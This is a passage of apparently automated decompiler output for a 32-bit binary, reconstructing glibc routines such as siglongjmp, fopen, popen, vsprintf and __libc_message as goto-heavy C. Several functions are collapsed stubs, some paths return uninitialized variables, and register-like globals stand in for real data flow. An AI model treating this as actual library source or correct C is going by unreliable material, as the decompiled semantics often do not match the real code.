// 0x80a8e04
v13 = v19 % 256;
g97 = v20;
g95 = v13;
base_from_object(a1);
g96 = result + 8;
g95 = v13;
read_encoded_value_with_base_723((int32_t)a3 + 8, (int32_t)v1, (int32_t)v17);
// branch -> 0x80a8e2c
// 0x80a8e2c
v24 = g100;
v21 = (int32_t)(int32_t *)0x80a8e10;
g98 = v21;
g102 = v21;
g100 = v14;
g99 = v24 + 8;
return result;
}
}
// Address range: 0x80aa034 - 0x80aa06f
int32_t __libc_siglongjmp(int32_t a1, int32_t a2, int32_t a3, int32_t a4) {
// 0x80aa034
g101 = a1;
g98 = a2;
int32_t v1 = a1; // bp-20
_longjmp_unwind();
g97 = a1;
int32_t v2 = *(int32_t *)(g101 + 24); // 0x80aa048
g95 = v2;
if (v2 != 0) {
int32_t v3 = g101 + 28; // 0x80aa05e
g95 = v3;
sigprocmask(SIG_SETMASK, &v3, &g2->e0);
// branch -> 0x80aa04f
}
int32_t v4 = g98; // 0x80aa04f
int32_t val = v4; // 0x80aa055
if (v4 == 0) {
// 0x80aa053
g98 = 1;
val = 1;
// branch -> 0x80aa055
}
// 0x80aa055
v1 = g101;
longjmp(&v1, val);
// UNREACHABLE
}
// Address range: 0x80aa08c - 0x80aa217
int32_t _longjmp_unwind(void) {
// 0x80aa08c
return 0;
}
// Address range: 0x80abf24 - 0x80ac15b
int32_t __correctly_grouped_prefixmb(uint32_t result3, int32_t result, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
int32_t v1 = g102; // 0x80abf27
int32_t v2 = g101; // 0x80abf28
int32_t v3 = g98; // 0x80abf29
g95 = a4;
int32_t v4;
int32_t v5;
int32_t v6;
if (a4 == 0) {
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result;
}
// 0x80abf38
g95 = 0;
int32_t len = strlen((char *)&a3); // 0x80abf43
g96 = len;
int32_t result4;
if (result > result3) {
int32_t v7 = len; // 0x80ac10d119
int32_t v8 = len; // 0x80ac14084
int32_t result2 = result; // 0x80abf5a
// branch -> 0x80abf5a
lab_0x714dbb0:
while (true) {
int32_t v9 = result2 - 1; // 0x80abf5a
if (v9 >= result3) {
unsigned char v10 = *(char *)a3; // 0x80abf6c
int32_t v11 = v10; // 0x80abf6c
int32_t v12 = v9 + len; // 0x80abf71
int32_t v13 = v12 & -256; // 0x80abf7b
int32_t v14 = v11 | v13; // 0x80abf7b
g95 = v12;
int32_t v15 = v12 - 1; // 0x80abf80
int32_t v16 = 0; // 0x80abf88134
int32_t v17 = v12; // 0x80abfb5
int32_t v18 = v7; // 0x80ac10d118
int32_t v19 = v8; // 0x80ac14083
int32_t v20 = v9; // 0x80ac037
int32_t v21; // 0x80ac10d117
int32_t v22; // 0x80ac14082
int32_t v23; // 0x80abfa7
if ((int32_t)*(char *)v15 != v14) {
int32_t v24 = v7; // 0x80ac10d102
int32_t v25 = v8; // 0x80ac14067
int32_t v26 = v14; // 0x80abf98
int32_t v27 = v12; // 0x80abf89
int32_t v28 = 0; // 0x80abf88
// branch -> 0x80abf88
while (true) {
lab_0x8bc0f50:;
int32_t v29 = v28 - 1; // 0x80abf88
int32_t v30 = v27 - 1; // 0x80abf89
int32_t v31 = v29 + v9; // 0x80abf8d
if (v31 < result3) {
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
int32_t v32 = v26 & -256 | v11; // 0x80abf98
g95 = v12;
if ((int32_t)*(char *)(v29 + v15) == v32) {
v16 = v29;
v17 = v30;
v18 = v24;
v19 = v25;
v20 = v31;
// break -> 0x80abfa4
break;
}
v26 = v32;
v27 = v30;
v28 = v29;
// continue -> 0x80abf88
}
// 0x80abfa4
v23 = (int32_t)*(char *)(a3 + 1) | v13;
g95 = v23;
v21 = v18;
v22 = v19;
int32_t v33; // 0x80abfd3
int32_t v34; // 0x80abfdb
if (v23 != 0) {
lab_0x711e160:
// 0x80abfae
if (v23 == (int32_t)*(char *)(v17 - 2)) {
// 0x80abfb3
g96 = a3;
int32_t v35 = v17; // 0x80abfc0
int32_t v36 = v23; // 0x80abfc6
int32_t v37 = a3; // 0x80abfbf
// branch -> 0x80abfc6
int32_t v38; // 0x80abfc0
while (true) {
unsigned char v39 = *(char *)(v37 + 2); // 0x80abfc6
int32_t v40 = v36 & -256; // 0x80abfc6
if (((int32_t)v39 || v40) != 0) {
int32_t v41 = (int32_t)*(char *)(v35 - 3) | v40; // 0x80abfbc
g95 = v41;
int32_t v42 = v37 + 1; // 0x80abfbf
g96 = v42;
v38 = v35 - 1;
if ((int32_t)v39 != v41) {
v24 = v42;
v25 = v42;
// break -> 0x80abf88
break;
}
v35 = v38;
v36 = v41;
v37 = v42;
// continue -> 0x80abfc6
continue;
}
}
// 0x80abf88
v26 = v38;
v27 = v17;
v28 = v16;
// branch -> 0x80abf88
goto lab_0x8bc0f50;
} else {
v24 = v18;
v25 = v19;
// 0x80abf88
v26 = a3;
v27 = v17;
v28 = v16;
// branch -> 0x80abf88
goto lab_0x8bc0f50;
}
// 0x80abfd0
v33 = result2 - v20;
char * v43; // 0x80abfd8_0
char v44 = *v43; // 0x80abfd8
v34 = (int32_t)v44 + 1;
g95 = v34;
int32_t v45;
int32_t v46; // 0x80ac10d103
int32_t v47; // 0x80ac14068
if (v33 == v34) {
lab_0x8bc10d0:;
int32_t v48 = v20 - 1; // 0x80ac03d
int32_t v49 = v21; // 0x80ac10d116
int32_t v50 = v22; // 0x80ac14081
int32_t v51 = v48; // 0x80ac11b11
// branch -> 0x80ac04c
while (true) {
lab_0xe7fe190:;
int32_t v52 = a4 + 1; // 0x80ac04c
int32_t v53; // 0x80ac09c
int32_t v54; // 0x80ac072
int32_t v55; // 0x80ac0bd
unsigned char v56; // 0x80ac059
unsigned char v57; // 0x80ac0a8
int32_t v58; // 0x80ac095
int32_t v59; // 0x80ac0d814
int32_t v60; // 0x80ac0d816
int32_t v61; // 0x80ac059
int32_t v62; // 0x80ac0a8
int32_t v63; // 0x80ac00853
int32_t v64; // 0x80ac00854
int32_t v65; // 0x80ac00855
int32_t v66; // 0x80ac10d109
int32_t v67; // 0x80ac10d113
int32_t v68; // 0x80ac10d114
int32_t v69; // 0x80ac14074
int32_t v70; // 0x80ac14078
int32_t v71; // 0x80ac14079
if (*(char *)v52 == 0) {
int32_t v72 = v49; // 0x80ac10d115
int32_t v73 = v50; // 0x80ac14080
int32_t v74 = a4; // 0x80ac0a6
int32_t v75 = v51; // 0x80ac11b10
lab_0x7121cd0:
// 0x80ac0a6
v57 = *(char *)v74;
v62 = (int32_t)v57 | v74 & -256;
if (v62 != 127) {
v66 = v72;
v69 = v73;
v59 = v74;
v63 = v74;
v54 = v75;
lab_0x7144f70:
// 0x80ac062
if (0x1000000 * v62 >= 0) {
// 0x80ac066
int32_t v76;
int32_t v77; // 0x80ac10d105
int32_t v78; // 0x80ac14070
if (v54 < result3) {
lab_0x7123b80:
// 0x80ac155
v77 = v66;
v78 = v69;
v76 = 0;
// branch -> 0x80ac120
lab_0x1c946f30:;
int32_t v79 = v57; // 0x80ac120
g95 = v79;
if (v79 >= v76) {
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
} else {
lab_0xafb9960:;
int32_t v80 = v54 + len; // 0x80ac074
int32_t v81; // 0x80ac095
int32_t v82; // 0x80ac10d108
int32_t v83; // 0x80ac14073
if (v10 == 0) {
// 0x80ac080
v82 = v66;
v81 = v54;
v83 = v69;
// branch -> 0x80ac085
} else {
int32_t v84 = v54; // 0x80ac104123
int32_t v85 = v54; // 0x80ac0e8
int32_t v86 = v66; // 0x80ac10d107
int32_t v87 = v63; // 0x80ac0f2
int32_t v88 = v69; // 0x80ac14072
// branch -> 0x80ac0f2
int32_t v89; // 0x80ac0e8
int32_t v90; // 0x80ac10d106
int32_t v91; // 0x80ac14071
while (true) {
int32_t v92 = v87 & -256 | v11; // 0x80ac0f2
int32_t v93 = v80 - 1; // 0x80ac0f5
int32_t v94 = v84; // 0x80ac104124
v90 = v86;
v91 = v88;
int32_t v95 = v92; // 0x80ac0f290
if (v92 == (int32_t)*(char *)v93) {
int32_t v96 = v84; // 0x80ac104
int32_t v97 = v86; // 0x80ac10d
int32_t v98 = v80; // 0x80ac108
int32_t v99 = a3; // 0x80ac107
// branch -> 0x80ac10d
while (true) {
int32_t v100 = v99 + 1; // 0x80ac10d
int32_t v101 = (int32_t)*(char *)v100 | v97 & -256; // 0x80ac10d
g96 = v101;
if (v101 == 0) {
// 0x80ac114
v82 = 0;
v81 = v85;
v83 = 0;
// branch -> 0x80ac085
// 0x80ac085
if (v54 - v81 == (int32_t)v57) {
lab_0x712b240:
// 0x80ac095
v58 = v81 - 1;
v53 = v59 + 1;
if (*(char *)v53 == 0) {
v72 = v82;
v73 = v83;
v74 = v59;
v75 = v58;
goto lab_0x7121cd0;
}
v68 = v82;
v71 = v83;
v65 = v59;
// 0x80ac056
v56 = *(char *)v53;
v61 = (int32_t)v56 | v53 & -256;
v67 = v68;
v70 = v71;
v60 = v53;
v64 = v65;
v55 = v58;
if (v61 != 127) {
v66 = v68;
v69 = v71;
v59 = v53;
v63 = v65;
v57 = v56;
v54 = v58;
// 0x80ac062
if (0x1000000 * v61 >= 0) {
// 0x80ac066
if (v54 < result3) {
goto lab_0x7123b80;
}
goto lab_0xafb9960;
} else {
v67 = v66;
v70 = v69;
v60 = v59;
v64 = v63;
v55 = v54;
}
}
lab_0x7130200:
// 0x80ac0b1
g95 = v55;
if (v55 < result3) {
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
lab_0xe7fe3d0:;
int32_t v102 = v55 + len; // 0x80ac0bf
int32_t v103 = v102 - 1; // 0x80ac00e
int32_t v104 = v67; // 0x80ac10d112
int32_t v105 = v70; // 0x80ac14077
int32_t v106 = 0; // 0x80ac018
int32_t v107 = v55; // 0x80ac0d4
int32_t v108 = v64; // 0x80ac008
int32_t v109 = v102; // 0x80ac13c17
// branch -> 0x80ac0ca
while (true) {
int32_t v110 = v104; // 0x80ac10d111
int32_t v111 = v105; // 0x80ac14076
if (v10 != 0) {
// 0x80ac008
g95 = v102;
char v112 = *(char *)(v103 + v106); // 0x80ac00e
int32_t v113 = v104; // 0x80ac10d110
int32_t v114 = v105; // 0x80ac14075
int32_t v115; // 0x80ac018
int32_t v116; // 0x80ac01f
if ((v108 & -256 || v11) == (int32_t)v112) {
int32_t v117 = v105; // 0x80ac140
int32_t v118 = v109; // 0x80ac14b
int32_t v119 = a3; // 0x80ac14a
// branch -> 0x80ac140
int32_t v120; // 0x80ac140
while (true) {
int32_t v121 = v119 + 1; // 0x80ac140
v120 = (int32_t)*(char *)v121 | v117 & -256;
g96 = v120;
if (v120 != 0) {
int32_t v122 = (int32_t)*(char *)(v118 - 2) | v102 & -256; // 0x80ac147
g95 = v122;
int32_t v123 = v118 - 1; // 0x80ac14b
if (v122 != v120) {
// break -> 0x80ac018
break;
}
v117 = v120;
v102 = v120;
v118 = v123;
v119 = v121;
// continue -> 0x80ac140
continue;
}
// 0x80ac0d4
v49 = 0;
v50 = 0;
a4 = v60;
v51 = v107 - 1;
// branch -> 0x80ac04c
goto lab_0xe7fe190;
}
// 0x80ac018
v115 = v106 - 1;
v116 = v115 + v55;
if (v116 < result3) {
// break -> 0x80ac02c
break;
}
v104 = v120;
v105 = v120;
v106 = v115;
v107 = v116;
v108 = v55;
v109--;
// continue -> 0x80ac0ca
continue;
}
// 0x80ac018
v115 = v106 - 1;
v116 = v115 + v55;
if (v116 < result3) {
// break -> 0x80ac02c
break;
}
v104 = v113;
v105 = v114;
v106 = v115;
v107 = v116;
v108 = v55;
v109--;
// continue -> 0x80ac0ca
continue;
}
// 0x80ac0d4
v49 = v110;
v50 = v111;
a4 = v60;
v51 = v107 - 1;
// branch -> 0x80ac04c
goto lab_0xe7fe190;
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
} else {
// 0x80ac104
if (((int32_t)*(char *)(v98 - 2) || v96 & -256) != v101) {
// break -> 0x80ac0e8
break;
}
v96 = v101;
v97 = v101;
v98--;
v99 = v100;
// continue -> 0x80ac10d
continue;
}
lab_0x713f6a0:
// 0x80ac12c
v46 = v82;
v47 = v83;
v45 = v48;
// branch -> 0x80abfe9
lab_0x7140b20:
// 0x80abfe9
if (v45 <= result3) {
result4 = v45;
// break (via goto) -> 0x80abff8
goto lab_0x714e740;
}
v7 = v46;
v8 = v47;
result2 = v45;
// continue (via goto) -> 0x80abf5a
goto lab_0x714dbb0;
}
// 0x80abff8
if (result4 < result3) {
// 0x80abffd
g98 = v3;
g101 = v2;
g102 = v1;
return result3;
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result4;
}
// 0x80ac0e8
v89 = v85 - 1;
if (v89 < result3) {
// break -> 0x80ac11b
break;
}
v84 = v94;
v85 = v89;
v86 = v90;
v80 = v93;
v87 = v95;
v88 = v91;
// continue -> 0x80ac0f2
}
// 0x80ac11b
v77 = v90;
v78 = v91;
v76 = v54 - v89;
// branch -> 0x80ac120
goto lab_0x1c946f30;
}
// 0x80ac085
if (v54 - v81 == (int32_t)v57) {
goto lab_0x712b240;
}
goto lab_0x713f6a0;
}
// 0x80ac12c
v46 = v77;
v47 = v78;
v45 = v48;
// branch -> 0x80abfe9
goto lab_0x7140b20;
} else {
v67 = v66;
v70 = v69;
v60 = v59;
v64 = v63;
v55 = v54;
}
} else {
v67 = v72;
v70 = v73;
v60 = v74;
v64 = v74;
v55 = v75;
}
} else {
v53 = v52;
v68 = v49;
v71 = v50;
v65 = a4;
v58 = v51;
// 0x80ac056
v56 = *(char *)v53;
v61 = (int32_t)v56 | v53 & -256;
if (v61 == 127) {
v67 = v68;
v70 = v71;
v60 = v53;
v64 = v65;
v55 = v58;
goto lab_0x7130200;
}
v66 = v68;
v62 = v61;
v69 = v71;
v59 = v53;
v63 = v65;
v57 = v56;
v54 = v58;
goto lab_0x7144f70;
}
// 0x80ac0b1
g95 = v55;
if (v55 >= result3) {
goto lab_0xe7fe3d0;
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
} else {
lab_0x7149810:
// 0x80abfe2
if (v33 <= v34) {
v46 = v21;
v47 = v22;
v45 = v20;
goto lab_0x7140b20;
}
// 0x80ac037
v46 = v21;
v47 = v22;
v45 = v34 + v20;
// branch -> 0x80abfe9
goto lab_0x7140b20;
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
int32_t result5;
return result5;
}
lab_0x714ae30:
// 0x80abfd0
v33 = result2 - v20;
v34 = (int32_t)*(char *)a4 + 1;
g95 = v34;
if (v33 == v34) {
goto lab_0x8bc10d0;
}
goto lab_0x7149810;
}
// 0x80abfa4
v23 = (int32_t)*(char *)(a3 + 1) | v13;
g95 = v23;
if (v23 == 0) {
v21 = v18;
v22 = v19;
goto lab_0x714ae30;
}
goto lab_0x711e160;
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result2;
}
} else {
result4 = result;
lab_0x714e740:
// 0x80abff8
if (result4 < result3) {
// 0x80abffd
g98 = v3;
g101 = v2;
g102 = v1;
return result3;
}
}
// 0x80ac02c
g98 = v4;
g101 = v5;
g102 = v6;
return result4;
}
// Address range: 0x80ac15c - 0x80ac177
int32_t _IO_printf(char * format, char * a2) {
// 0x80ac15c
return vfprintf((struct _struct__IO_FILE *)&g18, format, a2);
}
// Address range: 0x80ac178 - 0x80ac18f
void _IO_sprintf(int32_t a1, int32_t a2, int32_t a3) {
_IO_vsprintf(&a1, (char *)&a2, (char *)&a3);
}
// Address range: 0x80ac1a8 - 0x80ac1fb
void _IO_sscanf(int32_t a1, int32_t a2) {
// 0x80ac1a8
int32_t v1;
_IO_vsscanf(a1, a2, v1);
}
// Address range: 0x80ac1fc - 0x80ac20a
int32_t __new_fclose(int32_t * a1) {
// 0x80ac1fc
g101 = (int32_t)a1;
int32_t result = *a1; // 0x80ac205
g95 = result;
return result;
}
// Address range: 0x80ac3d8 - 0x80ac3f4
int32_t _IO_fgets(int32_t a1, int32_t result, int32_t * a3, int32_t a4) {
// 0x80ac3d8
g102 = a1;
g98 = (int32_t)a3;
g95 = result;
return result;
}
// Address range: 0x80ac568 - 0x80ac621
int32_t __fopen_internal(int32_t a1, int32_t a2, int32_t * a3) {
int32_t v1 = g101; // 0x80ac56b
int32_t * v2 = (int32_t *)v1; // 0x80ac56b_0
int32_t v3 = g98; // 0x80ac56c
int32_t * v4 = (int32_t *)v3; // 0x80ac56c_0
__libc_malloc((int32_t *)352, v3, v1);
int32_t v5 = g95; // 0x80ac577
g95 = 352;
if (v5 == 0) {
// 0x80ac5f8
g98 = v3;
g101 = v1;
return 0;
}
// 0x80ac57e
*(int32_t *)(v5 + 72) = v5 + 152;
g98 = v5;
int32_t v6 = (int32_t)g2; // 0x80ac59a
_IO_no_init((struct struct_131 *)v5, v6, v6, (struct struct_130 *)(v5 + 164), (struct struct_120 *)"");
*(int32_t *)(v5 + 148) = 0x8109080;
_IO_file_init((struct struct_123 *)v5);
int32_t v7 = _IO_file_fopen((int32_t *)g101, &a1, (struct struct_127 *)&a2, (struct struct_125 *)a3, v5); // 0x80ac5b9
int32_t v8 = g101; // 0x80ac60f
int32_t result; // 0x80ac5ee
if (v7 == 0) {
// 0x80ac60f
_IO_un_link((char *)v8, g100);
int32_t * v9 = (int32_t *)g101; // 0x80ac615_0
free(v9);
g98 = 0;
g96 = v8;
// branch -> 0x80ac5ee
// 0x80ac5ee
result = g98;
g98 = (int32_t)v9;
g101 = (int32_t)(int32_t *)v8;
return result;
}
// 0x80ac5c5
if (*(char *)(v8 + 60) == 1) {
// 0x80ac5ee
result = g98;
g98 = (int32_t)v4;
g101 = (int32_t)v2;
return result;
}
// 0x80ac5cb
if (*(char *)v8 != 8) {
int32_t v10 = *(int32_t *)(v8 + 92) < 1 ? 0x8108fc0 : 0x8108de0;
*(int32_t *)(v8 + 148) = v10;
int32_t v11 = *(int32_t *)(g101 + 88); // 0x80ac5e1
g95 = v11;
*(int32_t *)(v11 + 184) = 0x8108de0;
// branch -> 0x80ac5ee
}
// 0x80ac5ee
result = g98;
g98 = (int32_t)v4;
g101 = (int32_t)v2;
return result;
}
// Address range: 0x80ac624 - 0x80ac637
void __new_fopen(int32_t a1, int32_t a2) {
// 0x80ac624
__fopen_internal(a1, a2, (int32_t *)1);
}
// Address range: 0x80acae8 - 0x80acafd
int32_t _IO_proc_open(int32_t * a1, int32_t a2, int32_t * a3) {
// 0x80acae8
g101 = (int32_t)a3;
g98 = 0;
return g95;
}
// Address range: 0x80acd04 - 0x80acd6f
int32_t _IO_popen(int32_t a1, int32_t * a2, int32_t a3) {
int32_t v1 = g100; // 0x80acd04
int32_t v2 = g98; // 0x80acd07
__libc_malloc((int32_t *)172, v2, v1);
int32_t v3 = g95; // 0x80acd12
g98 = v3;
if (v3 == 0) {
// 0x80acd54
g98 = v2;
g100 = v1;
return 0;
}
// 0x80acd19
*(int32_t *)(v3 + 72) = v3 + 160;
_IO_init((struct struct_133 *)g98, (int32_t)g2);
*(int32_t *)(g98 + 148) = 0x8108d80;
_IO_file_init((struct struct_123 *)g98);
int32_t v4 = _IO_proc_open((int32_t *)g98, a1, a2); // 0x80acd41
int32_t result = g98; // 0x80acd5b
if (v4 != 0) {
// 0x80acd4d
g98 = v2;
g100 = v1;
return result;
}
// 0x80acd5b
_IO_un_link((char *)result, v2);
free((int32_t *)g98);
g98 = v2;
g100 = v1;
return 0;
}
// Address range: 0x80ad060 - 0x80ad0df
int32_t _IO_vsprintf(int32_t * a1, char * format, char * a3) {
struct _struct__IO_FILE * stream = NULL; // bp-172
int32_t v1 = g101; // 0x80ad063
int32_t v2 = g98; // 0x80ad064
g98 = (int32_t)a1;
_IO_no_init((struct struct_131 *)stream, 0x8000, -1, (struct struct_130 *)g2, (struct struct_120 *)g2);
int32_t v3 = g98; // 0x80ad093
_IO_str_init_static_internal(&stream->e0, (int32_t *)v3, -1, v3);
int32_t chars_printed = vfprintf(stream, format, a3);
char * v4;
char * v5;
if (v5 < v4) {
// 0x80ad0bf
*v5 = 0;
g95 = (int32_t)v5 + 1;
// branch -> 0x80ad0c9
} else {
// 0x80ad0d2
__overflow(stream, (int32_t)g2);
g95 = v2;
v1 = 0;
// branch -> 0x80ad0c9
}
// 0x80ad0c9
g98 = v2;
g101 = v1;
return chars_printed;
}
// Address range: 0x80ad0e0 - 0x80ad133
int32_t _IO_vsscanf(int32_t a1, int32_t a2, int32_t a3) {
struct _struct__IO_FILE * v1 = NULL; // bp-168
_IO_no_init((struct struct_131 *)v1, 0x8000, -1, (struct struct_130 *)g2, (struct struct_120 *)g2);
int32_t v2 = (int32_t)g2; // 0x80ad117
_IO_str_init_static_internal(&v1->e0, &a1, v2, v2);
return _IO_vfscanf(v1, (char *)&a2, (char *)&a3, &g2->e0);
}
// Address range: 0x80ad1ec - 0x80ad2fa
int32_t _IO_wdo_write(struct struct_121 * a1, int32_t * a2, int32_t * a3) {
int32_t v1 = g102; // bp-8
int32_t v2 = g101; // bp-12
struct struct_121 * v3 = (struct struct_121 *)g98; // bp-16
int32_t v4 = (int32_t)a1; // 0x80ad1f5
g98 = v4;
int32_t v5 = (int32_t)a2; // 0x80ad1f8
g101 = v5;
int32_t v6 = (int32_t)a1->e10; // 0x80ad1fb_0
g96 = (int32_t)a3;
int32_t v7; // 0x80ad293_0
int32_t v8;
struct struct_121 * v9;
int32_t v10; // 0x80ad2c3
int32_t v11; // 0x80ad296
int32_t * v12; // 0x80ad2c9_03
if (a3 == NULL) {
v9 = a1;
v12 = NULL;
// 0x80ad293
v7 = (int32_t)v9->e11;
v11 = *(int32_t *)(v7 + 24);
v8 = v11;
v9->e13 = (int32_t *)v11;
a1->e11 = (int32_t *)v8;
a1->e12 = (int32_t *)v8;
a1->e15 = (int32_t *)v8;
a1->e14 = (int32_t *)v8;
v10 = v7;
if (*(int32_t *)g98 == 514) {
// 0x80ad2c3
*(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28);
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
} else {
// 0x80ad2af
*(int32_t *)(v10 + 20) = v8;
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
}
// 0x80ad2b9
// branch -> 0x80ad2bb
} else {
int32_t v13 = *(int32_t *)(v4 + 24); // 0x80ad20c
int32_t v14; // 0x80ad246
int32_t v15; // 0x80ad250
struct struct_121 * v16; // 0x80ad260_0
struct struct_121 * v17;
int32_t * v18;
int32_t v19;
int32_t v20;
int32_t v21; // 0x80ad23e
int32_t v22; // 0x80ad255
int32_t v23; // 0x80ad231
int32_t v24; // 0x80ad234
int32_t v25; // 0x80ad23b
int32_t * v26; // 0x80ad243
int32_t v27; // 0x80ad255
int32_t v28; // 0x80ad250
if (v13 == a1->e5) {
int32_t v29 = *(int32_t *)(v4 + 16); // 0x80ad218
g97 = v29;
int32_t * v30;
int32_t v31;
int32_t v32; // 0x80ad2319
if (v13 == v29) {
// 0x80ad223
v31 = v5;
v32 = v4;
v30 = v18;
// branch -> 0x80ad22e
} else {
// 0x80ad2dd
v1 = v13 - v29;
v2 = v29;
v3 = a1;
if (_IO_do_write(&a1->e0, &v2, &v1) == -1) {
// 0x80ad2bb
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
// 0x80ad2dd
// branch -> 0x80ad2ef
// 0x80ad2ef
v31 = g101;
v32 = g98;
v30 = (int32_t *)0x80ad2e7;
// branch -> 0x80ad22e
}
// 0x80ad22e
v15 = (int32_t)v30;
v21 = v31;
int32_t v33 = v32; // 0x80ad231
int32_t * v34 = a3; // 0x80ad2c9_04
// branch -> 0x80ad22e
while (true) {
// 0x80ad22e
v23 = *(int32_t *)(v33 + 32);
v19 = v23;
v17 = a1;
v24 = v17->e5;
v20 = v24;
v25 = (int32_t)v34;
v26 = v17->e11;
g1 = v26 > (int32_t *)-45;
v14 = (int32_t)v26 + 44;
g103 = v14 == 0;
g95 = v14;
g97 = v6;
v28 = *(int32_t *)(v6 + 4);
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v28)(v6, v14, v21, 4 * v25 + v21, v15, v24, v23);
g102 = g95;
v22 = g98;
v27 = *(int32_t *)(v22 + 16);
g97 = v27;
v16 = (struct struct_121 *)(*(int32_t *)(v22 + 20) - v27);
v19 = v27;
v20 = v22;
if (_IO_do_write(&v20, &v19, &v16->e0) == -1) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
lab_0x71b1a10:
// 0x80ad26e
g96 = v15;
int32_t v35 = v15 - g101; // 0x80ad273
int32_t v36 = v35 / 4; // 0x80ad277
int32_t * v37 = (int32_t *)(v25 - v36); // 0x80ad27a_3
int32_t v38 = g102; // 0x80ad27d
if (v38 == 0) {
lab_0x71b39c0:
// 0x80ad28c
if (v25 != v36) {
// 0x80ad22c
g101 = v15;
v21 = v15;
v33 = g98;
v34 = v37;
// branch -> 0x80ad22e
continue;
}
} else {
int32_t v39 = v38 - 1; // 0x80ad281
g102 = v39;
if (v39 == 0) {
// 0x80ad284
if (v35 >= 4) {
goto lab_0x71b39c0;
}
// 0x80ad293
v9 = a1;
v12 = v37;
// branch -> 0x80ad293
// 0x80ad293
v7 = (int32_t)v9->e11;
v11 = *(int32_t *)(v7 + 24);
v8 = v11;
v9->e13 = (int32_t *)v11;
a1->e11 = (int32_t *)v8;
a1->e12 = (int32_t *)v8;
a1->e15 = (int32_t *)v8;
a1->e14 = (int32_t *)v8;
v10 = v7;
if (*(int32_t *)g98 == 514) {
// 0x80ad2c3
*(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28);
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
} else {
// 0x80ad2af
*(int32_t *)(v10 + 20) = v8;
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
}
// 0x80ad2b9
// branch -> 0x80ad2bb
// 0x80ad2bb
g98 = (int32_t)v3;
g101 = v2;
return 0;
}
}
// 0x80ad293
v9 = a1;
v12 = v37;
// branch -> 0x80ad293
// 0x80ad293
v7 = (int32_t)v9->e11;
v11 = *(int32_t *)(v7 + 24);
v8 = v11;
v9->e13 = (int32_t *)v11;
a1->e11 = (int32_t *)v8;
a1->e12 = (int32_t *)v8;
a1->e15 = (int32_t *)v8;
a1->e14 = (int32_t *)v8;
v10 = v7;
if (*(int32_t *)g98 == 514) {
// 0x80ad2c3
*(int32_t *)(v10 + 20) = *(int32_t *)(v10 + 28);
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
} else {
// 0x80ad2af
*(int32_t *)(v10 + 20) = v8;
if (v12 != NULL) {
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
}
// 0x80ad2b9
// branch -> 0x80ad2bb
// 0x80ad2bb
g98 = (int32_t)v3;
g101 = v2;
return 0;
}
}
// 0x80ad22e
v15 = (int32_t)v18;
v21 = v5;
// branch -> 0x80ad22e
while (true) {
// 0x80ad22e
v23 = *(int32_t *)(v4 + 32);
v19 = v23;
v17 = a1;
v24 = v17->e5;
v20 = v24;
v25 = (int32_t)a3;
v26 = v17->e11;
g1 = v26 > (int32_t *)-45;
v14 = (int32_t)v26 + 44;
g103 = v14 == 0;
g95 = v14;
g97 = v6;
v28 = *(int32_t *)(v6 + 4);
((int32_t (*)(int32_t, int32_t, int32_t, int32_t, int32_t, int32_t, int32_t))v28)(v6, v14, v21, 4 * v25 + v21, v15, v24, v23);
g102 = g95;
v22 = g98;
v27 = *(int32_t *)(v22 + 16);
g97 = v27;
v16 = (struct struct_121 *)(*(int32_t *)(v22 + 20) - v27);
v19 = v27;
v20 = v22;
if (_IO_do_write(&v20, &v19, &v16->e0) != -1) {
goto lab_0x71b1a10;
}
// 0x80ad2d0
g98 = (int32_t)v3;
g101 = v2;
return -1;
}
}
// 0x80ad2bb
g98 = (int32_t)v3;
g101 = v2;
return 0;
}
// Address range: 0x80ae428 - 0x80ae433
int32_t __new_pclose(void) {
// 0x80ae428
__new_fclose(NULL);
return g95;
}
// Address range: 0x80ae518 - 0x80ae7c7
int32_t __libc_message(int32_t * a1, struct struct_59 * a2) {
int32_t v1 = g100; // 0x80ae518
int32_t v2 = g102; // 0x80ae51b
int32_t v3 = g101; // 0x80ae51c
int32_t v4 = g98; // 0x80ae51d
char * v5 = __secure_getenv("LIBC_FATAL_STDERR_"); // 0x80ae532
int32_t * v6;
int32_t v7; // 0x80ae75b
int32_t * v8; // 0x80ae5f9_0
char * v9; // 0x80ae700_42
char * v10;
int32_t v11;
int32_t v12; // 0x80ae5f4
int32_t v13; // 0x80ae72a
int32_t v14; // 0x80ae7ab
int32_t v15;
int32_t v16;
int32_t * v17;
int32_t v18;
int32_t v19;
int32_t v20; // 0x80ae5ff
int32_t v21; // 0x80ae591
int32_t v22; // 0x80ae59118
int32_t v23;
int32_t * v24; // 0x80ae792_07
int32_t * v25; // 0x80ae792_08
struct struct_59 * v26; // 0x80ae553_0
struct struct_59 * v27; // 0x80ae608_0
int32_t v28; // 0x80ae556
int32_t v29; // 0x80ae60b
int32_t * v30; // bp+011
if (v5 != NULL) {
// 0x80ae540
int32_t * v31; // 0x80ae792_09
if (*v5 != 0) {
// 0x80ae540
// branch -> 0x80ae549
// 0x80ae549
v26 = a2;
v28 = (int32_t)v26->e0 | g98 & -256;
v11 = v28;
int32_t * v32 = a1; // bp+013
v31 = (int32_t *)2;
